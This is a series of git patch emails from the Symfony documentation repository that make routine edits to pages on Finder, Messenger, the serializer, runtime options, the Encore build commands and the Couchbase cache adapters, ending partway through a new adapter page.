From 412fac92648172a4216173f47019031892a32afd Mon Sep 17 00:00:00 2001
From: Julien Falque <julien.falque@gmail.com>
Date: Tue, 28 Sep 2021 19:13:01 +0200
Subject: [PATCH 1185/5766] [Finder] Document recursive .gitignore files
 support

---
 components/finder.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 84be8b1ac74..eac3e20d8da 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -141,13 +141,17 @@ default when looking for files and directories, but you can change this with the
 
     $finder->ignoreVCS(false);
 
-If the search directory contains a ``.gitignore`` file, you can reuse those
-rules to exclude files and directories from the results with the
+If the search directory and its subdirectories contain ``.gitignore`` files, you
+can reuse those rules to exclude files and directories from the results with the
 :method:`Symfony\\Component\\Finder\\Finder::ignoreVCSIgnored` method::
 
     // excludes files/directories matching the .gitignore patterns
     $finder->ignoreVCSIgnored(true);
 
+.. versionadded:: 5.4
+
+    ``.gitignore`` files recursive support was introduced in Symfony 5.4.
+
 File Name
 ~~~~~~~~~
 

From 084dec6cdf4744b4f3ad3b70035fc3ab2c07a556 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 28 Sep 2021 23:42:31 +0200
Subject: [PATCH 1186/5766] Deleting incomplete components page

@wouterj You told me at https://github.com/symfony/symfony-docs/issues/14194#issuecomment-688517978 that this list is going to be merged into https://symfony.com/components , so this here is obsolete, right?
Should I double-check for every component and add them to the other list if needed?
---
 components/index.rst | 16 ----------------
 1 file changed, 16 deletions(-)
 delete mode 100644 components/index.rst

diff --git a/components/index.rst b/components/index.rst
deleted file mode 100644
index bf28bf3b5d8..00000000000
--- a/components/index.rst
+++ /dev/null
@@ -1,16 +0,0 @@
-The Components
-==============
-
-.. seealso::
-
-    See the dedicated `Symfony Components`_ webpage for a full overview of decoupled
-    and reusable Symfony components.
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    using_components
-    *
-
-.. _`Symfony Components`: https://symfony.com/components

From 6ffd199d12763b837036e77fdaf5ece3518eef8e Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 29 Sep 2021 01:38:28 +0200
Subject: [PATCH 1187/5766] Documenting the __root__ section

Finally closes the (already closed) https://github.com/symfony/symfony-docs/issues/13987

The info is taken from @stof at https://github.com/symfony/symfony/issues/37630#issuecomment-661969184
---
 performance.rst | 9 +++++++++
 1 file changed, 9 insertions(+)

diff --git a/performance.rst b/performance.rst
index 0e980a2550d..1d786972988 100644
--- a/performance.rst
+++ b/performance.rst
@@ -327,6 +327,15 @@ Sections are a way to split the profile timeline into groups. Example::
     $this->stopwatch->start('processing-file');
     $this->stopwatch->stopSection('parsing');
 
+All events that don't belong to any named section are added to the special section
+``__root__``. This way you can get all stopwatch events, even if you don't know
+their names::
+
+    foreach($this->stopwatch->getSectionEvents('__root__') as $event) {
+        echo (string) $event;
+    }
+
+
 Learn more
 ----------
 

From 213d725c01f21cf8bb4816fee91860b6a6809a1a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 29 Sep 2021 08:27:58 +0200
Subject: [PATCH 1188/5766] [Console] Revert RGB notation in console coloring

---
 console/coloring.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index 25bfc76298b..9df90251895 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -58,10 +58,6 @@ Any hex color is supported for foreground and background colors. Besides that, t
 
     Support for bright colors was introduced in Symfony 5.3.
 
-.. versionadded:: 5.4
-
-    Support for RGB functional notation was introduced in Symfony 5.4.
-
 .. note::
 
     If the terminal doesn't support true colors, the nearest named color is used.
@@ -81,9 +77,6 @@ You can also set these colors and options directly inside the tag name::
     // using hexadecimal colors
     $output->writeln('<fg=#c0392b>foo</>');
 
-    // using RGB colors
-    $output->writeln('<fg=rgb(127, 255, 0)>foo</>');
-
     // black text on a cyan background
     $output->writeln('<fg=black;bg=cyan>foo</>');
 

From 91cd3e859812183a194079add235a2fac273e7f4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?S=C3=A9bastien=20ALFAIATE?= <seb33300@hotmail.com>
Date: Wed, 29 Sep 2021 14:41:18 +0700
Subject: [PATCH 1189/5766] Fix double "the"

---
 reference/forms/types/options/attr.rst.inc     | 2 +-
 reference/forms/types/options/row_attr.rst.inc | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/options/attr.rst.inc b/reference/forms/types/options/attr.rst.inc
index 629902b4fc8..c4bb89d277e 100644
--- a/reference/forms/types/options/attr.rst.inc
+++ b/reference/forms/types/options/attr.rst.inc
@@ -13,5 +13,5 @@ as keys. This can be useful when you need to set a custom class for some widget:
 
 .. seealso::
 
-    Use the ``row_attr`` option if you want to add these attributes to the
+    Use the ``row_attr`` option if you want to add these attributes to
     the :ref:`form type row <form-rendering-basics>` element.
diff --git a/reference/forms/types/options/row_attr.rst.inc b/reference/forms/types/options/row_attr.rst.inc
index 4cb9775b5e5..aa6a21c5843 100644
--- a/reference/forms/types/options/row_attr.rst.inc
+++ b/reference/forms/types/options/row_attr.rst.inc
@@ -12,7 +12,7 @@ to render the :ref:`form type row <form-rendering-basics>`::
 
 .. seealso::
 
-    Use the ``attr`` option if you want to add these attributes to the
+    Use the ``attr`` option if you want to add these attributes to
     the :ref:`form type widget <form-rendering-basics>` element.
 
 .. versionadded:: 4.3

From 054af38355be643cb89e0ebbd2cdd9c4e479529f Mon Sep 17 00:00:00 2001
From: JT Smith <nexxai@gmail.com>
Date: Wed, 29 Sep 2021 11:15:30 -0600
Subject: [PATCH 1190/5766] [docs] typofixes

---
 components/cache/adapters/couchbasebucket_adapter.rst | 4 ++--
 components/serializer.rst                             | 2 +-
 reference/configuration/security.rst                  | 2 +-
 session.rst                                           | 2 +-
 4 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 7043a7c3e95..5c221665e62 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -1,6 +1,6 @@
 .. index::
     single: Cache Pool
-    single: Couchabase Cache
+    single: Couchbase Cache
 
 .. _couchbase-adapter:
 
@@ -60,7 +60,7 @@ helper method allows creating and configuring a `Couchbase Bucket`_ class instan
         'couchbase://localhost'
         // the DSN can include config options (pass them as a query string):
         // 'couchbase://localhost:11210?operationTimeout=10'
-        // 'couchbase://localhost:11210?operationTimeout=10&configTimout=20'
+        // 'couchbase://localhost:11210?operationTimeout=10&configTimeout=20'
     );
 
     // pass an array of DSN strings to register multiple servers with the client
diff --git a/components/serializer.rst b/components/serializer.rst
index 9c8b73a04a1..c941edc98c1 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -996,7 +996,7 @@ Option                  Description                                            D
                         and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
                         then ``serialize($data, 'csv', $options)`` returns
                         ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containg formulas by prepending them    ``false``
+``csv_escape_formulas`` Escapes fields containing formulas by prepending them  ``false``
                         with a ``\t`` character
 ``as_collection``       Always returns results as a collection, even if only   ``true``
                         one line is decoded.
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index c651f6cd2e3..6a812374a06 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -374,7 +374,7 @@ Using the Sodium Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It uses the `Argon2 key derivation function`_. Argon2 support was introduced
-in PHP 7.2 by bundeling the `libsodium`_ extension.
+in PHP 7.2 by bundling the `libsodium`_ extension.
 
 The hashed passwords are ``96`` characters long, but due to the hashing
 requirements saved in the resulting hash this may change in the future, so make
diff --git a/session.rst b/session.rst
index 70e62b62263..cb62454a94e 100644
--- a/session.rst
+++ b/session.rst
@@ -131,7 +131,7 @@ Check out the Symfony config reference to learn more about the other available
 Basic Usage
 -----------
 
-The sessions is available througth the Request and the RequestStack.
+The sessions is available through the Request and the RequestStack.
 Symfony provides a request_stack service that is injected in your services and
 controllers if you type-hint an argument with
 :class:`Symfony\\Component\\HttpFoundation\\RequestStack`::

From c06ec569c772b2d12e75d36205332412617485fb Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 29 Sep 2021 22:49:13 +0200
Subject: [PATCH 1191/5766] [Form] Fix comments

---
 form/create_form_type_extension.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 37e46dc9a64..9bb0abc2d8e 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -35,11 +35,11 @@ First, create the form type extension class extending from
     class ImageTypeExtension extends AbstractTypeExtension
     {
         /**
-         * Return the class of the type being extended.
+         * Returns an array of extended types.
          */
         public static function getExtendedTypes(): iterable
         {
-            // return FormType::class to modify (nearly) every field in the system
+            // return [FormType::class] to modify (nearly) every field in the system
             return [FileType::class];
         }
     }
@@ -145,7 +145,7 @@ For example::
     {
         public static function getExtendedTypes(): iterable
         {
-            // return FormType::class to modify (nearly) every field in the system
+            // return [FormType::class] to modify (nearly) every field in the system
             return [FileType::class];
         }
 

From 2cd33bbfc8a6258b04affd4a2b56fcf62424a2a3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 11:02:56 +0200
Subject: [PATCH 1192/5766] Minor tweak

---
 components/finder.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/finder.rst b/components/finder.rst
index eac3e20d8da..97ab12473ab 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -150,7 +150,7 @@ can reuse those rules to exclude files and directories from the results with the
 
 .. versionadded:: 5.4
 
-    ``.gitignore`` files recursive support was introduced in Symfony 5.4.
+    Recursive support for ``.gitignore`` files was introduced in Symfony 5.4.
 
 File Name
 ~~~~~~~~~

From 6e67925366e05b0ba5c0503dc5ff3ed7074efd61 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 11:03:48 +0200
Subject: [PATCH 1193/5766] Remove a versionadded directive

---
 components/finder.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/finder.rst b/components/finder.rst
index 97ab12473ab..3a0fb9eb27c 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -148,10 +148,6 @@ can reuse those rules to exclude files and directories from the results with the
     // excludes files/directories matching the .gitignore patterns
     $finder->ignoreVCSIgnored(true);
 
-.. versionadded:: 5.4
-
-    Recursive support for ``.gitignore`` files was introduced in Symfony 5.4.
-
 File Name
 ~~~~~~~~~
 

From dd7e74327f60eb311dd56bbb6622fa1141cbe2a1 Mon Sep 17 00:00:00 2001
From: nabbisen <nabbisen@scqr.net>
Date: Mon, 27 Sep 2021 21:24:52 +0900
Subject: [PATCH 1194/5766] unify expression: yarn run encore -> yarn encore

---
 frontend/encore/simple-example.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 8d26987bdb5..cdb7e58324f 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -268,7 +268,7 @@ and restart Encore:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn run encore dev --watch
+    $ yarn run dev --watch
 
     # if you use the npm package manager
     $ npm run watch

From 33a075a98dddc95b40fc3ee5515881994c1da498 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 11:14:24 +0200
Subject: [PATCH 1195/5766] Minor tweak

---
 frontend/encore/simple-example.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index cdb7e58324f..d447ade4b29 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -268,7 +268,7 @@ and restart Encore:
 .. code-block:: terminal
 
     # if you use the Yarn package manager
-    $ yarn run dev --watch
+    $ yarn encore dev --watch
 
     # if you use the npm package manager
     $ npm run watch

From 934219fa574ee0ca98677e93e956fb15c5b5b4d6 Mon Sep 17 00:00:00 2001
From: David DIVERRES <david@comexpertise.com>
Date: Fri, 1 Oct 2021 01:02:49 +0200
Subject: [PATCH 1196/5766] [Frontend/Encore] Fix code example for ignoring
 Moment.js Locales

@see https://webpack.js.org/plugins/ignore-plugin/#example-of-ignoring-moment-locales
---
 frontend/encore/custom-loaders-plugins.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/frontend/encore/custom-loaders-plugins.rst b/frontend/encore/custom-loaders-plugins.rst
index 31c688ffc75..6e0957a085c 100644
--- a/frontend/encore/custom-loaders-plugins.rst
+++ b/frontend/encore/custom-loaders-plugins.rst
@@ -56,7 +56,10 @@ to use the `IgnorePlugin`_ (see `moment/moment#2373`_):
       Encore
           // ...
 
-    +     .addPlugin(new webpack.IgnorePlugin(/^\.\/locale$/, /moment$/))
+    +     .addPlugin(new webpack.IgnorePlugin({
+              resourceRegExp: /^\.\/locale$/,
+              contextRegExp: /moment$/,
+          }))
       ;
 
 .. _`handlebars-loader`: https://github.com/pcardune/handlebars-loader

From b9eba948533c359851fc37e27f2605af992fb1fd Mon Sep 17 00:00:00 2001
From: Alex Theobold <44616505+theoboldalex@users.noreply.github.com>
Date: Wed, 29 Sep 2021 20:27:23 +0100
Subject: [PATCH 1197/5766] Grammar fixes in front_controller.rst

---
 create_framework/front_controller.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index e14f9f16d07..61169db0cf1 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -56,9 +56,9 @@ not feel like a good abstraction, does it? We still have the ``send()`` method
 for all pages, our pages do not look like templates and we are still not able
 to test this code properly.
 
-Moreover, adding a new page means that we need to create a new PHP script,
-which name is exposed to the end user via the URL
-(``http://127.0.0.1:4321/bye.php``): there is a direct mapping between the PHP
+Moreover, adding a new page means that we need to create a new PHP script, the name of
+which is exposed to the end user via the URL
+(``http://127.0.0.1:4321/bye.php``). There is a direct mapping between the PHP
 script name and the client URL. This is because the dispatching of the request
 is done by the web server directly. It might be a good idea to move this
 dispatching to our code for better flexibility. This can be achieved by routing
@@ -105,7 +105,7 @@ In the ``front.php`` script, ``$map`` associates URL paths with their
 corresponding PHP script paths.
 
 As a bonus, if the client asks for a path that is not defined in the URL map,
-we return a custom 404 page; you are now in control of your website.
+we return a custom 404 page. You are now in control of your website.
 
 To access a page, you must now use the ``front.php`` script:
 
@@ -133,7 +133,7 @@ its sub-directories (only if needed -- see above tip).
     argument is the URL path you want to simulate.
 
 Now that the web server always accesses the same script (``front.php``) for all
-pages, we can secure the code further by moving all other PHP files outside the
+pages, we can secure the code further by moving all other PHP files outside of the
 web root directory:
 
 .. code-block:: text
@@ -151,7 +151,7 @@ web root directory:
         └── front.php
 
 Now, configure your web server root directory to point to ``web/`` and all
-other files won't be accessible from the client anymore.
+other files will no longer be accessible from the client.
 
 To test your changes in a browser (``http://localhost:4321/hello?name=Fabien``),
 run the :doc:`Symfony Local Web Server </setup/symfony_server>`:
@@ -166,7 +166,7 @@ run the :doc:`Symfony Local Web Server </setup/symfony_server>`:
     various PHP files; the changes are left as an exercise for the reader.
 
 The last thing that is repeated in each page is the call to ``setContent()``.
-We can convert all pages to "templates" by just echoing the content and calling
+We can convert all pages to "templates" by echoing the content and calling
 the ``setContent()`` directly from the front controller script::
 
     // example.com/web/front.php

From 3f7ebcefe4ad6c4526ad112f6b22afa3d83b065e Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Fri, 10 Sep 2021 11:32:50 +0200
Subject: [PATCH 1198/5766] [Messenger] document reset_on_message transport
 option

---
 messenger.rst | 63 +++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 63 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index ae6f8a455b8..bc06ac6f03e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -696,6 +696,69 @@ of the desired grace period in seconds) in order to perform a graceful shutdown:
     [program:x]
     stopwaitsecs=20
 
+
+Stateless Worker
+~~~~~~~~~~~~~~~~
+
+PHP was designed to be stateless: everything is lost after processing an HTTP
+request. When you run your application in an HTTP context, you may not take care
+of services states that may leak services since PHP clean everything after
+sending the response.
+
+Since worker run in a CLI context, you need to be careful about services state.
+You should avoid to put a state in a service to avoid leaking some information
+and/or memory from one message to another message.
+
+Some symfony services leak by nature. For example the monolog fingers crossed
+handler. To avoid such situations, you can configure a transport to
+automatically reset the container between two messages:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/messenger.yaml
+        framework:
+            messenger:
+                transports:
+                    async:
+                        dsn: '%env(MESSENGER_TRANSPORT_DSN)%'
+                        reset_on_message: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:messenger>
+                    <framework:transport name="async" dsn="%env(MESSENGER_TRANSPORT_DSN)%" reset-on-message="true">
+                    </framework:transport>
+                </framework:messenger>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/messenger.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $messenger = $framework->messenger();
+
+            $messenger->transport('async')
+                ->dsn('%env(MESSENGER_TRANSPORT_DSN)%')
+                ->resetOnMessage(true)
+            ;
+        };
+
 .. _messenger-retries-failures:
 
 Retries & Failures

From fd38755b37612b786af971003c9628ca7c41732d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 15:13:48 +0200
Subject: [PATCH 1199/5766] Reword

---
 logging.rst   |  2 ++
 messenger.rst | 25 ++++++++++++++-----------
 2 files changed, 16 insertions(+), 11 deletions(-)

diff --git a/logging.rst b/logging.rst
index 9e959eaa08f..70fe873e624 100644
--- a/logging.rst
+++ b/logging.rst
@@ -167,6 +167,8 @@ defined.
     from the two files cannot be merged because the order matters and a merge does
     not allow to control the order.
 
+.. _logging-handler-fingers_crossed:
+
 Handlers that Modify Log Entries
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/messenger.rst b/messenger.rst
index aabc7fa7b98..d6dc3edf35c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -696,22 +696,21 @@ of the desired grace period in seconds) in order to perform a graceful shutdown:
     [program:x]
     stopwaitsecs=20
 
-
 Stateless Worker
 ~~~~~~~~~~~~~~~~
 
-PHP was designed to be stateless: everything is lost after processing an HTTP
-request. When you run your application in an HTTP context, you may not take care
-of services states that may leak services since PHP clean everything after
-sending the response.
+PHP is designed to be stateless, there are no shared resources across different
+requests. In HTTP context PHP cleans everything after sending the response, so
+you can decide to not take care of services that may leak memory.
 
-Since worker run in a CLI context, you need to be careful about services state.
-You should avoid to put a state in a service to avoid leaking some information
-and/or memory from one message to another message.
+On the other hand, workers usually run in long-running CLI processes, which don't
+finish after processing a message. That's why you need to be careful about services
+state to not leak information and/or memory from one message to another message.
 
-Some symfony services leak by nature. For example the monolog fingers crossed
-handler. To avoid such situations, you can configure a transport to
-automatically reset the container between two messages:
+However, certain Symfony services, such as the Monolog
+:ref:`fingers crossed handler <logging-handler-fingers_crossed>`, leak by design.
+In those cases, use the ``reset_on_message`` transport option to automatically
+reset the service container between two messages:
 
 .. configuration-block::
 
@@ -759,6 +758,10 @@ automatically reset the container between two messages:
             ;
         };
 
+.. versionadded:: 5.4
+
+    The ``reset_on_message`` option was introduced in Symfony 5.4.
+
 .. _messenger-retries-failures:
 
 Retries & Failures

From cfad0cefee8a847f64aec69ceb925b3abe7f0c30 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 15:14:12 +0200
Subject: [PATCH 1200/5766] Remove a versionadded directive

---
 messenger.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 87e9cf2d47a..1d5363ca6aa 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -749,10 +749,6 @@ reset the service container between two messages:
             ;
         };
 
-.. versionadded:: 5.4
-
-    The ``reset_on_message`` option was introduced in Symfony 5.4.
-
 .. _messenger-retries-failures:
 
 Retries & Failures

From d37e49789c33f78a6175815fae80527457c53ea8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 15:41:29 +0200
Subject: [PATCH 1201/5766] Minor tweak

---
 components/runtime.rst | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index bc1d891915c..b382c817c61 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -344,21 +344,26 @@ The following options are supported by the ``SymfonyRuntime``:
 Besides these, the ``GenericRuntime`` and ``SymfonyRuntime`` also support
 these options:
 
-``debug`` (default: ``APP_DEBUG`` environment variable, or ``true``)
-    Toggles displaying errors.
+``debug`` (default: the value of the env var defined by ``debug_var_name`` option
+    (usually, ``APP_DEBUG``), or ``true`` if such env var is not defined)
+    Toggles the :ref:`debug mode <debug-mode>` of Symfony applications (e.g. to
+    display errors)
 ``runtimes``
     Maps "application types" to a ``GenericRuntime`` implementation that
     knows how to deal with each of them.
 ``error_handler`` (default: :class:`Symfony\\Component\\Runtime\\Internal\\BasicErrorHandler` or :class:`Symfony\\Component\\Runtime\\Internal\\SymfonyErrorHandler` for ``SymfonyRuntime``)
     Defines the class to use to handle PHP errors.
 ``env_var_name`` (default: ``"APP_ENV"``)
-    To define the name of the env var for the Symfony env.
+    Defines the name of the env var that stores the name of the
+    :ref:`configuration environment <configuration-environments>`
+    to use when running the application.
 ``debug_var_name`` (default: ``"APP_DEBUG"``)
-    To define the name of the debug var for the debug flag.
+    Defines the name of the env var that stores the value of the
+    :ref:`debug mode <debug-mode>` flag to use when running the application.
 
 .. versionadded:: 5.4
 
-    The ``env_var_name`` and ``debug_var_name`` options was introduced in Symfony 5.4.
+    The ``env_var_name`` and ``debug_var_name`` options were introduced in Symfony 5.4.
 
 Create Your Own Runtime
 -----------------------

From d1f197f547ff181aa22a93b58ec2da60021cf026 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 15:42:03 +0200
Subject: [PATCH 1202/5766] Remove a versionadded directive

---
 components/runtime.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index 27f65294c3f..ed57c6e4282 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -357,10 +357,6 @@ these options:
     Defines the name of the env var that stores the value of the
     :ref:`debug mode <debug-mode>` flag to use when running the application.
 
-.. versionadded:: 5.4
-
-    The ``env_var_name`` and ``debug_var_name`` options were introduced in Symfony 5.4.
-
 Create Your Own Runtime
 -----------------------
 

From 0d8809120ea005df9c645c466c9f8c4e85c3538b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 16:45:37 +0200
Subject: [PATCH 1203/5766] Add the missing redirections

---
 _build/redirection_map | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/_build/redirection_map b/_build/redirection_map
index 625066b765a..d3bf8c60980 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -511,3 +511,5 @@
 /components/stopwatch https://github.com/symfony/stopwatch
 /service_container/3.3-di-changes https://symfony.com/doc/3.4/service_container/3.3-di-changes.html
 /testing/functional_tests_assertions /testing#testing-application-assertions
+/components https://symfony.com/components
+/components/index https://symfony.com/components

From eb1ffd3a513594e6154cb7787fab1a52324c5423 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 17:20:41 +0200
Subject: [PATCH 1204/5766] Added the versionadded directive

---
 components/serializer.rst | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 94f2d0fe775..ae0a09f6852 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1176,15 +1176,15 @@ to ``true``::
 
 .. _component-serializer-handling-circular-references:
 
-Collecting type errors while denormalizing
+Collecting Type Errors While Denormalizing
 ------------------------------------------
 
-When denormalizing a payload to an object with type hints, if the payload
-contains a property that doesn't have the same type as the object, an exception
-is thrown.
+When denormalizing a payload to an object with typed properties, you'll get an
+exception if the payload contains properties that don't have the same type as
+the object.
 
-It's possible to collect all exceptions at once, and to get the object partially
-denormalized::
+In those situations, use the ``COLLECT_DENORMALIZATION_ERRORS`` option to
+collect all exceptions at once, and to get the object partially denormalized::
 
     try {
         $dto = $serializer->deserialize($request->getContent(), MyDto::class, 'json', [
@@ -1205,6 +1205,10 @@ denormalized::
         return $this->json($violations, 400);
     }
 
+.. versionadded:: 5.4
+
+    The ``COLLECT_DENORMALIZATION_ERRORS`` option was introduced in Symfony 5.4.
+
 Handling Circular References
 ----------------------------
 

From e8c5ec8c4567e3a836d2538eb8a6d3c25542f947 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 4 Oct 2021 17:21:13 +0200
Subject: [PATCH 1205/5766] Remove a versionadded directive

---
 components/serializer.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index e27ebfec313..2dea695284e 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1193,10 +1193,6 @@ collect all exceptions at once, and to get the object partially denormalized::
         return $this->json($violations, 400);
     }
 
-.. versionadded:: 5.4
-
-    The ``COLLECT_DENORMALIZATION_ERRORS`` option was introduced in Symfony 5.4.
-
 Handling Circular References
 ----------------------------
 

From da91d39e9d2d4bf7c9553a37e41e686be15aad42 Mon Sep 17 00:00:00 2001
From: Antonio Jose Cerezo Aranda <aj.cerezo@gmail.com>
Date: Mon, 30 Aug 2021 16:59:09 +0200
Subject: [PATCH 1206/5766] [Cache] Add CouchbaseCollectionAdapter
 compatibility with sdk 3.0.0

---
 .../adapters/couchbasebucket_adapter.rst      |  10 +-
 .../adapters/couchbasecollection_adapter.rst  | 143 ++++++++++++++++++
 2 files changed, 148 insertions(+), 5 deletions(-)
 create mode 100644 components/cache/adapters/couchbasecollection_adapter.rst

diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index 7043a7c3e95..7718c8d4f2c 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -22,7 +22,7 @@ is also available.
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``2.6`` or
-    greater of the `Couchbase PHP extension`_ is required for this adapter.
+    less than 3.0 of the `Couchbase PHP extension`_ is required for this adapter.
 
 This adapter expects a `Couchbase Bucket`_ instance to be passed as the first
 parameter. A namespace and default cache lifetime can optionally be passed as
@@ -32,17 +32,17 @@ the second and third parameters::
 
     $cache = new CouchbaseBucketAdapter(
         // the client object that sets options and adds the server instance(s)
-        \CouchbaseBucket $client,
+        $client,
 
         // the name of bucket
-        string $bucket,
+        $bucket,
 
         // a string prefixed to the keys of the items stored in this cache
-        $namespace = '',
+        $namespace,
 
         // the default lifetime (in seconds) for cache items that do not define their
         // own lifetime, with a value 0 causing items to be stored indefinitely
-        $defaultLifetime = 0,
+        $defaultLifetime
     );
 
 
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
new file mode 100644
index 00000000000..18367747dd4
--- /dev/null
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -0,0 +1,143 @@
+.. index::
+    single: Cache Pool
+    single: Couchabase Cache
+
+.. _couchbase-collection-adapter:
+
+Couchbase Cache Adapter
+=======================
+
+This adapter stores the values in-memory using one (or more) `Couchbase server`_
+instances. Unlike the :ref:`APCu adapter <apcu-adapter>`, and similarly to the
+:ref:`Memcached adapter <memcached-adapter>`, it is not limited to the current server's
+shared memory; you can store contents independent of your PHP environment.
+The ability to utilize a cluster of servers to provide redundancy and/or fail-over
+is also available.
+
+.. caution::
+
+    **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
+    must be installed, active, and running to use this adapter. Version ``3.0`` or
+    greater of the `Couchbase PHP extension`_ is required for this adapter.
+
+This adapter expects a `Couchbase Collection`_ instance to be passed as the first
+parameter. A namespace and default cache lifetime can optionally be passed as
+the second and third parameters::
+
